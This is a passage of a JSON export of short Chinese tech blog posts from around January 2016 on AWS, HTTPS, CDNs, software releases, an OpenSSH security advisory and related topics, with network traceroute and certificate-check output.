45.2  44.7  42.7  51.8   2.8\r\n 13.|-- 54.239.52.149              0.0%    10   75.3  75.7  75.2  76.1   0.0\r\n 14.|-- 54.239.42.55               0.0%    10   75.4  75.6  75.4  76.1   0.0\r\n 15.|-- 54.239.122.236             0.0%    10   78.3  82.3  76.1  99.0   7.3\r\n 16.|-- 54.239.123.121             0.0%    10   75.9  77.5  75.8  81.1   2.1\r\n 17.|-- 54.239.122.44              0.0%    10   77.3  77.2  76.9  77.4   0.0\r\n 18.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 19.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 20.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 21.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 22.|-- s3.ap-northeast-2.amazona 10.0%    10   77.3  77.1  76.9  77.3   0.0</pre></small>\r\n\r\n<a href=\"http://www.tfn.net.tw/\">台灣固網</a>也差不多：\r\n\r\n<small><pre>  3.|-- 60-199-236-110.static.tfn  0.0%    10    0.3   0.3   0.2   0.4   0.0\r\n  4.|-- 60-199-255-3.static.tfn.n  0.0%    10    0.2   0.3   0.2   0.3   0.0\r\n  5.|-- 60-199-21-69.static.tfn.n  0.0%    10    0.2   0.4   0.2   1.1   0.0\r\n  6.|-- 60-199-20-222.static.tfn.  0.0%    10    0.3   1.9   0.2  16.2   5.0\r\n  7.|-- 60-199-18-90.static.tfn.n  0.0%    10    1.9   0.7   0.4   1.9   0.5\r\n  8.|-- 60-199-3-222.static.tfn.n  0.0%    10    0.4   0.5   0.4   0.9   0.0\r\n  9.|-- xe-0-1-0-14.r02.taiptw01.  0.0%    10    1.5   1.5   1.4   1.5   0.0\r\n 10.|-- ae-1.r20.taiptw01.tw.bb.g  0.0%    10    1.3   1.4   1.3   1.4   0.0\r\n 11.|-- ae-24.r31.tokyjp05.jp.bb.  0.0%    10   31.3  32.9  31.2  36.6   2.0\r\n 12.|-- ae-18.r00.tokyjp03.jp.bb.  0.0%    10   35.6  36.7  35.3  39.1   1.5\r\n 13.|-- ae-0.amazon.tokyjp03.jp.b  0.0%    10   31.7  31.9  31.4  34.9   0.9\r\n 14.|-- 27.0.0.228                 0.0%    10   32.1  32.1  31.5  35.1   0.9\r\n 15.|-- 54.239.42.57               0.0%    10   63.2  60.5  59.6  63.3   1.3\r\n 16.|-- 54.239.123.48              0.0%    10   76.4  70.0  65.4  76.4   3.7\r\n 17.|-- 54.239.123.53              0.0%    10   68.9  69.7  68.8  72.3   1.2\r\n 18.|-- 54.239.122.22              0.0%    10   69.7  70.1  69.4  72.9   1.0\r\n 19.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 20.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 21.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 22.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 23.|-- s3.ap-northeast-2.amazona  0.0%    10   55.9  56.5  55.9  59.7   1.0</pre></small>\r\n\r\n<a href=\"http://www.fetnet.net/\">遠傳</a>的也差不多：\r\n\r\n<small><pre>  3. h129-192-72-107.seed.net.tw   0.0%    10    0.3   0.5   0.3   2.2   0.6\r\n  4. R56-141.seed.net.tw           0.0%    10   10.1   3.1   0.4  10.1   4.1\r\n  5. h118-192-72-155.seed.net.tw   0.0%    10    0.4  11.2   0.4 102.7  32.2\r\n  6. xe-0-1-0-15.r02.taiptw01.tw.  0.0%    10    0.8   1.6   0.8   4.6   1.2\r\n  7. ae-1.r20.taiptw01.tw.bb.gin.  0.0%    10    0.8   6.0   0.6  27.4  11.0\r\n  8. ae-24.r31.tokyjp05.jp.bb.gin  0.0%    10   30.8  31.5  30.6  34.4   1.5\r\n  9. ae-18.r00.tokyjp03.jp.bb.gin  0.0%    10   31.7  32.1  31.4  35.0   1.1\r\n 10. ae-0.amazon.tokyjp03.jp.bb.g  0.0%    10   31.2  33.8  30.9  43.8   3.9\r\n 11. 27.0.0.228                    0.0%    10   31.2  32.8  31.2  38.6   2.4\r\n 12. ???                          100.0    10    0.0   0.0   0.0   0.0   0.0  \r\n 13. 54.239.122.238                0.0%    10   57.7  64.4  55.6  98.0  12.3  \r\n 14. 54.239.122.243                0.0%    10   55.2  55.5  55.0  58.6   1.1  \r\n 15. 54.239.122.22                 0.0%    10   69.3  69.8  69.0  74.8   1.8 \r\n 16. ???                          100.0    10    0.0   0.0   0.0   0.0   0.0 \r\n 17. ???                          100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 18. ???                          100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 19. ???                          100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 20. s3.ap-northeast-2.amazonaws.  0.0%    10   59.2  60.2  59.0  62.6   1.6</pre></small>\r\n\r\n畢竟亞洲的主要交換中心是在日本、香港與新加坡，這個結果不是太意外就是了...",
    "title": "AWS 南韓區啟用"
  },
  {
    "id": "6235",
    "body": "在 <a href=\"https://www.akamai.com/\">Akamai</a> 網誌上的 PR 文章「<a href=\"https://blogs.akamai.com/2016/01/the-move-to-an-encrypted-web.html\">The move to an Encrypted Web</a>」提到使用 HTTPS 的好處，其中的「Improve data integrity」這點不僅僅是對使用者有好處，另外站在這兩年把 KKBOX 轉向 HTTPS 化時，使得被 ISP 干擾的問題消失。\r\n\r\n早期 <a href=\"https://www.kkbox.com/\">KKBOX</a> 的服務都是走 HTTP (包括網站與 API)，三不五十就會遇到使用者抱怨登入會失敗，或是某些功能有問題。實際透過 <a href=\"https://www.teamviewer.com/\">TeamViewer</a> 追蹤會發現 HTTP traffic 被 ISP 改掉了。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/javascreener.png\" rel=\"attachment wp-att-6236\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/javascreener.png\" alt=\"javascreener\" width=\"1415\" height=\"164\" class=\"alignnone size-full wp-image-6236\" /></a>\r\n<small>取自「<a href=\"http://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/\">Comcast Wi-Fi serving self-promotional ads via JavaScript injection</a>」</small>\r\n\r\n從 2013 年買 CDN 服務時要求包含 HTTPS (圖片與 assets)，然後升級 load balancer 並且先設定 HTTP 與 HTTPS 都可以用，然後到 2015 年一路改寫 (包括 server 的支援與 client 的改寫)，到 2016 總算把大部份的服務 (API 與網站) 都搞定了。\r\n\r\n這其實也歸功於目前其他大多數服務都已經上 HTTPS (包含了網站與 IM)，所以 port 80 + port 443 已經變成現代防火牆一定要打開的部份，不然很多服務會沒辦法使用。比起十年前有些單位會擋 port 443 已經好很多。\r\n\r\n對 RD 來說，是個換過去就不會想要換回來的情況...",
    "title": "HTTPS 的好處"
  },
  {
    "id": "6237",
    "body": "<a href=\"http://www.nypl.org/\">紐約公共圖書館</a>這次放出了十八萬張數位資料，包括歷史照片、地圖以及信件：「<a href=\"http://www.openculture.com/2016/01/the-new-york-public-library-lets-you-download-180000-images-in-high-res.html\">The New York Public Library Lets You Download 180,000 Images in High Resolution: Historic Photographs, Maps, Letters &amp; More</a>」，圖書館官方的公告在「<a href=\"http://www.nypl.org/blog/2016/01/05/share-public-domain-collections\">Free for All: NYPL Enhances Public Domain Collections For Sharing and Reuse</a>」這邊：\r\n\r\n<blockquote>The release of more than 180,000 digitized items represents both a simplification and an enhancement of digital access to a trove of unique and rare materials: a removal of administration fees and processes from public domain content, and also improvements to interfaces — popular and technical — to the digital assets themselves.</blockquote>\r\n\r\n除了可以在「<a href=\"http://digitalcollections.nypl.org/\">NYPL Digital Collections</a>」這邊搜尋下載外，還有 API 可以用：「<a href=\"http://api.repo.nypl.org/\">The New York Public Library Digital Collections API</a>」，在 <a href=\"https://github.com/\">GitHub</a> 上也有工具可以使用：「<a href=\"https://github.com/NYPL-publicdomain/data-and-utilities\">Digital Collections Public Domain Item Data and Tools</a>」。\r\n\r\n而且這 18 萬張資料是完全的開放，不需要事先取得館方授權：\r\n\r\n<blockquote>No permission required, no hoops to jump through: just go forth and reuse!</blockquote>\r\n\r\n將 public domain 的文物數位化，傳遞與保存變的更便利... (也讓做研究的人更容易取得資料)",
    "title": "紐約公共圖書館放出十八萬張數位高畫質的數位資料"
  },
  {
    "id": "6239",
    "body": "舊金山最大的計程車行 <a href=\"http://yellowcabsf.com/\">Yellow Cab</a> 打算申請破產：「<a href=\"http://www.sfexaminer.com/yellow-cab-to-file-for-bankruptcy/\">Yellow Cab to file for bankruptcy</a>」：\r\n\r\n<blockquote>Martinez wrote that the co-op plans to file for bankruptcy in one month. The letter was dated Dec. 10, 2015. The Examiner learned of it after rumors about the bankruptcy began to spread in the taxi driver community.</blockquote>\r\n\r\n出自 Yellow Cab 給司機的文件：「<a href=\"https://www.documentcloud.org/documents/2675764-Yellow-Cab-Bankruptcy-Letter.html\">Yellow-Cab-Bankruptcy-Letter</a>」。<a href=\"https://www.uber.com/\">Uber</a> 與 <a href=\"https://www.lyft.com/\">Lyft</a> 這類服務的出現，利用科技改善了計程車常見的缺陷，接下來跟不上改變的傳統車行 (不論是美國還是台灣) 只會逐步被淘汰掉。\r\n\r\n「行走路線透過 GPS 記錄，而可事後被檢視」是很大的改善，而「搭完後不評價就沒辦法再叫車」(至少 Uber 是強制性的) 也使得 Uber 累積了大量的回饋資訊，加速淘汰有問題的司機。這兩個是對消費者搭乘品質有最直接影響的項目。\r\n\r\n再加上「沒有沒關係，但有也很好」的「線上信用卡付款」，可以猜測傳統計程車行業會一直被壓縮空間，像是非市區營運，或是定點排班，讓搭乘車不用叫就有車的優勢 (像是南港軟體園區二期外面)。",
    "title": "舊金山最大的計程車行 Yellow Cab 打算申請破產"
  },
  {
    "id": "6240",
    "body": "<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 9.5 正式發行，這次新增了大家期待已久的 UPSERT 功能：「<a href=\"http://www.postgresql.org/about/news/1636/\">PostgreSQL 9.5: UPSERT, Row Level Security, and Big Data</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/SQL:2003\">SQL:2003</a> 正式定義出 UPSERT，被稱為 <a href=\"https://en.wikipedia.org/wiki/Merge_(SQL)\">Merge</a>，不過看網路上一般還是比較習慣 UPSERT 這個用法：\r\n\r\n<blockquote>A relational database management system uses SQL MERGE (also called upsert) statements to INSERT new records or UPDATE existing records depending on whether condition matches.</blockquote>\r\n\r\n也就是當沒資料的時候就 INSERT，有資料的時候就 UPDATE 的語法。常見的使用情境是拿來當 counter 用 (雖然這很傷資料庫的效能)。\r\n\r\n沒有 UPSERT 的時候只能用 transaction 或是 store procedure 搭出來，效能上會比在 database engine 裡實作來的差，所以 UPSERT 還是被實作出來了。",
    "title": "PostgreSQL 9.5 釋出，UPSERT！"
  },
  {
    "id": "6241",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 除了在台灣上以外，也在全球各地上線：「<a href=\"https://media.netflix.com/en/press-releases/netflix-is-now-available-around-the-world\">Netflix Is Now Available Around the World</a>」。\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/helloWorld.png\" rel=\"attachment wp-att-6242\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/helloWorld.png\" alt=\"helloWorld\" width=\"800\" height=\"343\" class=\"alignnone size-full wp-image-6242\" /></a>\r\n\r\n紅色區域是 Netflix 有服務的點，可以看到除了中國、敘利亞、克里米亞半島 (唔？) 以及南極洲 (不在圖上，所以我猜應該是沒有)，其他都有服務。\r\n\r\n不過就目前網路上的評價看起來，版權還是最難搞的一塊。不知道台灣區影片數量成長的速度可以多快，應該是配合全球授權在簽？\r\n\r\n來想看看要找哪個 device 接大電視看比較方便...",
    "title": "Netflix 把戰場開到全球"
  },
  {
    "id": "6243",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"http://tinyclouds.org/colorize/\">Automatic Colorization</a>」這個有趣的專案，透過演算法將黑白灰階照片自動上色。\r\n\r\n而 training data 也很容易取得，把彩色圖片轉成黑白灰階就可以了：\r\n\r\n<blockquote>Have you seen Reddit's <a href=\"https://www.reddit.com/r/Colorization\">/r/colorization</a> sub? People use photoshop to add color to old black and white photos. This is a good problem to automate because perfect training data is easy to get: any color image can be desaturated and used as an example.</blockquote>\r\n\r\n透過 <a href=\"https://en.wikipedia.org/wiki/Convolutional_neural_network\">Convolutional neural network</a> (CNN) 這個演算法做的，雖然應該還是沒空去看這個...\r\n\r\n像這張的效果不錯：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/6.jpg\" rel=\"attachment wp-att-6244\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/6.jpg\" alt=\"6\" width=\"672\" height=\"224\" class=\"alignnone size-full wp-image-6244\" /></a>\r\n\r\n其中左邊是黑白灰階影像，右邊是原始圖片，而中間是算出來的結果 (training data 不包括這張圖片)。另外一張就比較明顯了：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/2.png\" rel=\"attachment wp-att-6245\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/2.png\" alt=\"2\" width=\"672\" height=\"224\" class=\"alignnone size-full wp-image-6245\" /></a>\r\n\r\n這張花的顏色就差不少，但也還好。\r\n\r\n在原始文章裡面也有分析與 <a href=\"https://www.reddit.com/\">Reddit</a> 上人工上色的比較，很明顯人工上色的還是比較鮮豔，不過電腦上色還是很有趣啊...",
    "title": "黑白灰階照片自動上色"
  },
  {
    "id": "6246",
    "body": "<a href=\"https://jquery.com/\">jQuery</a> 放出 2.2 與 1.12，預定是 3.0 前的最後一個 major release，之後不會加 feature 了：「<a href=\"http://blog.jquery.com/2016/01/08/jquery-2-2-and-1-12-released/\">jQuery 2.2 and 1.12 Released</a>」。\r\n\r\n主要的效能改善來自一年前對 <a href=\"https://sizzlejs.com/\">Sizzle</a> 的 patch：「<a href=\"https://github.com/jquery/sizzle/issues/315\">Check existing selector cache and skip matchesSelector when possible · Issue #315 · jquery/sizzle</a>」，針對 <code>:visible</code> 與 <code>:hidden</code> 的效能改善，速度大約是原來的 17 倍：\r\n\r\n<blockquote>Performance of the selector engine has improved thanks to a shortcut path that immediately uses precompiled Sizzle selectors when the selector cannot be processed by the native querySelectorAll or matchesSelector methods. This results in a significant speedup in some real-world cases.</blockquote>\r\n\r\n距離上次出版 2.1.4 與 1.11.3 好久了 (2015 年 4 月的事情)：「<a href=\"http://blog.jquery.com/2015/04/28/jquery-1-11-3-and-2-1-4-released-ios-fail-safe-edition/\">jQuery 1.11.3 and 2.1.4 Released – iOS Fail-Safe Edition</a>」。",
    "title": "jQuery 2.2 與 1.12 釋出"
  },
  {
    "id": "6249",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 宣佈支援對 Origin 使用 TLS v1.1 與 v1.2 了：「<a href=\"https://aws.amazon.com/blogs/aws/cloudfront-update-https-tls-v1-1v1-2-to-the-origin-addmodify-headers/\">CloudFront Update – HTTPS &amp; TLS v1.1/v1.2 to the Origin, Add/Modify Headers</a>」。\r\n\r\n另外一個重要的功能是，強制使用 HTTPS 往 Origin 存取，即使使用者對 CloudFront 使用 HTTP，往後也還是會用 HTTPS，確保資料不會被中間的 ISP 改掉。\r\n\r\n再來比較期待的功能是有沒有類似 <a href=\"https://www.akamai.com/\">Akamai</a> 的 TD (Tiered Distribution) 或是 <a href=\"https://www.edgecast.com/\">EdgeCast</a> 的 Super PoP，也就是全球的 Edge 都透過這組 Server 再跟 Origin 要資料。這樣可以大幅度提高 hitrate，並且降低對 Origin 的負載。",
    "title": "CloudFront 對 Origin 支援 TLS v1.1 與 v1.2"
  },
  {
    "id": "6250",
    "body": "CVE-2016-0777 與 CVE-2016-0778 安全性漏洞是關於 <a href=\"http://www.openssh.com/\">OpenSSH</a> client 的部分：(<a href=\"http://www.ubuntu.com/usn/usn-2869-1/\">USN-2869-1: OpenSSH vulnerabilities</a>)\r\n\r\n<blockquote>It was discovered that the OpenSSH client experimental support for resuming connections contained multiple security issues. A malicious server could use this issue to leak client memory to the server, including private client user keys.</blockquote>\r\n\r\n這下除了要更新以外，要重新生 ssh key 然後更新一堆機器了...",
    "title": "OpenSSH client 的重大安全性更新"
  },
  {
    "id": "6251",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 提供的新玩法，Scheduled Reserved Instances (Scheduled RI)：「<a href=\"https://aws.amazon.com/blogs/aws/new-scheduled-reserved-instances/\">New – Scheduled Reserved Instances</a>」。\r\n\r\nScheduled RI 可以指定買「某個特定時段」一年，像是每天的凌晨零點到八點之類的，拿來跑 report 這類需求。不過不同於 Standard RI 是不需要另外設定就會自動生效，Scheduled RI 需要開機器時指定才會使用。\r\n\r\n不過只會省一些，而不像 Standard RI 可以省的量：\r\n\r\n<blockquote>The new Scheduled Reserved Instance model allows you to reserve instances for predefined blocks of time on a recurring basis for a one-year term, with prices that are generally 5 to 10% lower than the equivalent On-Demand rates.</blockquote>\r\n\r\n另外只有某些地區的新機種有這個選項：\r\n\r\n<blockquote>This feature is available today in the US East (Northern Virginia), US West (Oregon), and Europe (Ireland) regions, with support for the C3, C4, M4, and R3 instance types.</blockquote>\r\n\r\n就成本來看，應該是屬於最後 optimize 的項目，而不是一開始的最佳化...",
    "title": "AWS 推出 Scheduled Reserved Instances"
  },
  {
    "id": "6253",
    "body": "想說應該會有 extension 可以看連線是 IPv4 或是 IPv6，找了一下果然有：「<a href=\"https://chrome.google.com/webstore/detail/ipvfoo/ecanpcehffngcegjmadlcijfolapggal\">IPvFoo</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6exvVjL.webp\" /><img src=\"https://i.gslin.com/imgur/6exvVjL.jpg\" alt=\"\" /></picture>\r\n\r\n右上角會出現目前連線的屬性。透過 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 提供的 <a href=\"https://developer.chrome.com/extensions/webRequest\">webRequest</a> 取得資訊後更新上去的。\r\n\r\n目前比較常見的站台應該是 <a href=\"https://www.facebook.com/\">Facebook</a> (包括 <a href=\"https://instagram.com/\">Instagram</a>)、<a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.yahoo.com/\">Yahoo</a>，也剛剛好都是 HTTPS Policy 的先驅... 不過可以看出來不是所有的資源都走 IPv6，還是有不少走 IPv4 的 domain。\r\n\r\n<a href=\"https://twitter.com/\">Twitter</a> 的主網站沒有 IPv6，但幾個自己的子網域有？看起來還在逐步測試開通...\r\n\r\n<a href=\"http://www.hinet.net/\">HiNet</a> 的 IPv6 服務已經可以透過網路櫃台直接線上申請 (需要幾個工作天開通)，我用 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 可以 PPPoE 取得...",
    "title": "Google Chrome 上看連線是使用 IPv4 或是 IPv6"
  },
  {
    "id": "6254",
    "body": "<a href=\"http://nginx.org/\">nginx</a> 在 1.9.5 後移除了對 <a href=\"https://en.wikipedia.org/wiki/SPDY\">SPDY</a> 的支援，只支援 <a href=\"https://en.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>，剛剛找其他資料的時候在「<a href=\"https://blog.cloudflare.com/introducing-http2/#comment-2391853103\">HTTP/2 is here! Goodbye SPDY? Not quite yet</a>」這邊發現 CloudFlare 的人有打算放 patch，讓 nginx 可以同時支援 HTTP/2 與 SPDY：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/98lpOJ3.webp\" /><img src=\"https://i.gslin.com/imgur/98lpOJ3.jpg\" alt=\"\" /></picture>\r\n\r\n同時也可以看到有人抱怨 <a href=\"http://caniuse.com/\">caniuse</a> 上面的資料與實際使用的情況有蠻大的差距，拿 caniuse 來說服人不太準確。\r\n\r\n另外也發現我自己的 blog 有時候 HTTP/2 不會啟用 (透過「<a href=\"https://chrome.google.com/webstore/detail/http2-and-spdy-indicator/mpbpobfflnpcgagjijhmgnchggcjblin\">HTTP/2 and SPDY indicator</a>」觀察)，不知道是什麼原因，也許 nginx 的時候還是有 bug？",
    "title": "CloudFlare 有計劃要放出對 nginx 的 HTTP/2 + SPDY patch"
  },
  {
    "id": "6255",
    "body": "看到「<a href=\"http://netboot.xyz/\">netboot.xyz</a>」這個工具：\r\n\r\n<img src=\"https://i.gslin.com/imgur/otDBJdb.gif\" alt=\"\" />\r\n\r\nDHCP server 上設定好就可以直接開機安裝機器了，看起來常見的 OS 都支援了。",
    "title": "萬用的安裝工具：netboot.xyz"
  },
  {
    "id": "6256",
    "body": "在找 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 安裝方法時找到的專案：「<a href=\"https://github.com/lukas2511/letsencrypt.sh\">letsencrypt/acme client implemented as a shell-script</a>」。\r\n\r\n整個專案用 <a href=\"https://www.gnu.org/software/bash/\">bash</a> 寫，用到的 dependency 都非常基本，「比較特別的」只有 <a href=\"http://curl.haxx.se/\">curl</a> 與 <a href=\"https://www.openssl.org/\">openssl</a>，這兩個套件應該不是什麼問題... XD\r\n\r\n沒有安裝問題 (因為只有一個 shell script 檔案)，用起來也很簡單，執行速度也比官方快多了 (畢竟官方的考慮比較多)，之後應該就會用這個吧... 另外自動化的部份也應該會用這個解決 :o",
    "title": "用 Shell Script 寫的 Let's Encrypt Client"
  },
  {
    "id": "6258",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出免費的 SSL Certificate 服務 <a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-certificate-manager-deploy-ssltls-based-apps-on-aws/\">New – AWS Certificate Manager – Deploy SSL/TLS-Based Apps on AWS</a>」。\r\n\r\n目前宣佈只有在 us-east-1 可以用，不過實際測試會發現包括 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>。\r\n\r\n<blockquote>AWS Certificate Manager (ACM) is available now in the US East (Northern Virginia) region, with additional regions in the works. You can provision, deploy, and renew certificates at no charge.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Emuwic4.webp\" /><img src=\"https://i.gslin.com/imgur/Emuwic4.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到是 <a href=\"https://www.amazon.com/\">Amazon</a> 是找 <a href=\"https://www.starfieldtech.com/\">Starfield</a> 搞定的：\r\n\r\n<pre><small>$ openssl s_client -servername i.kfs.io -connect d2c884gdd5bajy.cloudfront.net:443\r\nCONNECTED(00000003)\r\ndepth=4 C = US, O = \"Starfield Technologies, Inc.\", OU = Starfield Class 2 Certification Authority\r\nverify return:1\r\ndepth=3 C = US, ST = Arizona, L = Scottsdale, O = \"Starfield Technologies, Inc.\", CN = Starfield Services Root Certificate Authority - G2\r\nverify return:1\r\ndepth=2 C = US, O = Amazon, CN = Amazon Root CA 1\r\nverify return:1\r\ndepth=1 C = US, O = Amazon, OU = Server CA 1B, CN = Amazon\r\nverify return:1\r\ndepth=0 CN = *.kfs.io\r\nverify return:1</small></pre>\r\n\r\n使用的是傳統的 e-mail 認證：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tecnExt.webp\" /><img src=\"https://i.gslin.com/imgur/tecnExt.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/K652whd.webp\" /><img src=\"https://i.gslin.com/imgur/K652whd.jpg\" alt=\"\" /></picture>\r\n\r\n連買憑證的成本都可以省下來了，而且比起以前要自己用 <a href=\"https://aws.amazon.com/cli/\">aws-cli</a> 在 command line 裡上傳 key &amp; certificate 來的簡單多了。",
    "title": "AWS 也推出免費的 SSL Certificate 給 ELB 與 CloudFront 用了"
  },
  {
    "id": "6259",
    "body": "在住的地方拉了<a href=\"http://www.taipeinet.com.tw/\">北都數位</a>的 cable 與網路來用，首先是速度，30M 有跑滿，不知道用的人多了之後會如何：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l1XUCCn.webp\" /><img src=\"https://i.gslin.com/imgur/l1XUCCn.jpg\" alt=\"\" /></picture>\r\n\r\n線路 IP 反解看起來是走遠傳 <a href=\"http://www.seed.net.tw/\">SEEDNet</a>，而實際 traceroute 也都是走遠傳的骨幹。\r\n\r\n首先是 DHCP 的 DNS 設定頗糟糕，居然配出 <a href=\"http://www.hinet.net/\">HiNet</a> 的 168.95.1.1：\r\n\r\n<a href=\"https://blog.gslin.org/wp-content/uploads/2016/01/螢幕快照-2016-01-22-15.11.18.png\" rel=\"attachment wp-att-6260\"><img src=\"https://blog.gslin.org/wp-content/uploads/2016/01/螢幕快照-2016-01-22-15.11.18.png\" alt=\"螢幕快照 2016-01-22 15.11.18\" width=\"656\" height=\"436\" class=\"alignnone size-full wp-image-6260\" /></a>\r\n\r\n然後測了老半天，遠傳看起來完全沒有 <a href=\"https://www.akamai.com/\">Akamai</a> Edge？查了一堆站台，不是走香港、日本，不然就是 HiNet 的 Akamai Edge (即使我把 DNS 硬設為 SEEDNet 自己的 DNS resolver)，這樣吃國際頻寬不會吃很兇嗎？\r\n\r\n之後找時間來看看遠傳的行動網路如何好了，固網這塊感覺好慘...",
    "title": "北都數位 (TaipeiNet) 的網路"
  },
  {
    "id": "6261",
    "body": "<a href=\"https://typekit.com/\">Adobe Typekit</a> 是個收費的網頁字型服務，為了讓變更可以儘快生效，用了比較短的 cache time：\r\n\r\n<blockquote>We use a short cache time for the kit JavaScript so that you can update your kit (for example, adding fonts, or changing the list of allowed domains) and have your changes live in a reasonable amount of time.</blockquote>\r\n\r\n但這也造成了不少人抱怨 <a href=\"https://developers.google.com/speed/pagespeed/\">Google PageSpeed Tools</a> 會扣分，而實際上也的確降低效率 (因為你不需要天天改設定)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LdDftx2.webp\" /><img src=\"https://i.gslin.com/imgur/LdDftx2.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://www.adobe.com/\">Adobe</a> 給了妥協的方案，你可以選擇使用更長的 cache time，從本來的 10 mins 變成 1 week：「<a href=\"http://blog.typekit.com/2016/01/21/improved-caching-for-kits-opt-for-longer-cache-timeout/\">Improved caching for kits: Opt for longer cache timeout</a>」。\r\n\r\n這個選項使得 Google PageSpeed Tools 不會扣分，也讓效能再更好一些。",
    "title": "Adobe Typekit 對 PageSpeed 的妥協"
  },
  {
    "id": "6262",
    "body": "之前也有遇到，結果 <a href=\"http://www.lornajane.net/\">Lorna Jane Mitchell</a> 寫了一篇「<a href=\"http://www.lornajane.net/posts/2016/handling-composer-lock-file-out-of-date-warning\">Handling Composer \"lock file out of date\" Warning</a>」給了不少解法。\r\n\r\n第一種是 <code>composer upgrade</code>，直接全部升級。\r\n\r\n第二種是先用 <code>composer update --dry-run</code> 看看是不是有人加到 <code>composer.json</code> 後忘記更新，如果是的話再用 <code>composer update [package]</code> 處理。\r\n\r\n第三種是用 <code>composer update nothing</code> 閉上眼睛更新 hash 值，當作什麼都沒看到 XDDD\r\n\r\n<blockquote>Sometimes this is the right answer so it's a handy trick to know!. I seem to see these kinds of issues in people's projects quite often (I'm a consultant, I see a lot of projects) so I thought I'd share my usual tactics for getting things sorted - if you have any tricks of your own to share, I'd love to hear them :)</blockquote>\r\n\r\n該說很「實用」嗎 XDDD",
    "title": "Composer 出現 lock file out of date 的解法"
  },
  {
    "id": "6263",
    "body": "在「<a href=\"http://googlesystem.blogspot.com/2016/01/youtube-loop.html\">YouTube Loop</a>」這邊看到 <a href=\"https://www.youtube.com/\">YouTube</a> 支援 Loop 了，在影片上按右鍵：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Eusv0W7.webp\" /><img src=\"https://i.gslin.com/imgur/Eusv0W7.jpg\" alt=\"\" /></picture>\r\n\r\n而且作者也有提到，在外嵌的影片也支援：\r\n\r\n<blockquote>It also works for embedded videos.</blockquote>\r\n\r\n以前要找外掛或是某些網站幫你，官方支援後省不少事 XD",
    "title": "YouTube 支援 Loop 功能 (重複播放)"
  },
  {
    "id": "6264",
    "body": "從 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，在 <a href=\"https://en.wikipedia.org/wiki/Sun-2\">Sun-2</a> 的 bootloader 裡可以看到「Love your country, but never trust its government」這樣的字串：「<a href=\"https://nohats.ca/wordpress/blog/2016/01/24/why-the-sun-sparc2-has-the-message-love-your-country-but-never-trust-its-government/\">Why the Sun 2 has the message \"Love your country, but never trust its government\"</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UMlDVA6.webp\" /><img src=\"https://i.gslin.com/imgur/UMlDVA6.jpg\" alt=\"\" /></picture>\r\n\r\n這段字串是由 <a href=\"https://en.wikipedia.org/wiki/John_Gilmore_%28activist%29\">John Gilmore</a> 當時在 <a href=\"http://www.sun.com/\">Sun</a> 開發時所放入的，John Gilmore 同時也是後來 <a href=\"https://www.eff.org/\">EFF</a> 創辦人之一，不過當初放入這段字串的目的是為了抓到盜版：\r\n\r\n<blockquote>Yes. Vinod Khosla, first President of Sun, came to me at one point and said to put something hidden, triggered in an unexpected way, into the ROM Monitor, so that if somebody cloned the Sun Workstation (violating our software’s copyright), we could do that unexpected thing to the competitor’s demo workstation at a trade show and thereby prove that they had cloned it.</blockquote>\r\n\r\n過了三十年後 John Gilmore 被挖出來問的回應也是蠻有趣的... (可以參考原文附上的信件)\r\n\r\n而這句話現在回頭看也很經典，尤其是最近各國政府想要在 crypto system 裡面放後門的各種反應。",
    "title": "Love your country, but never trust its government"
  },
  {
    "id": "6267",
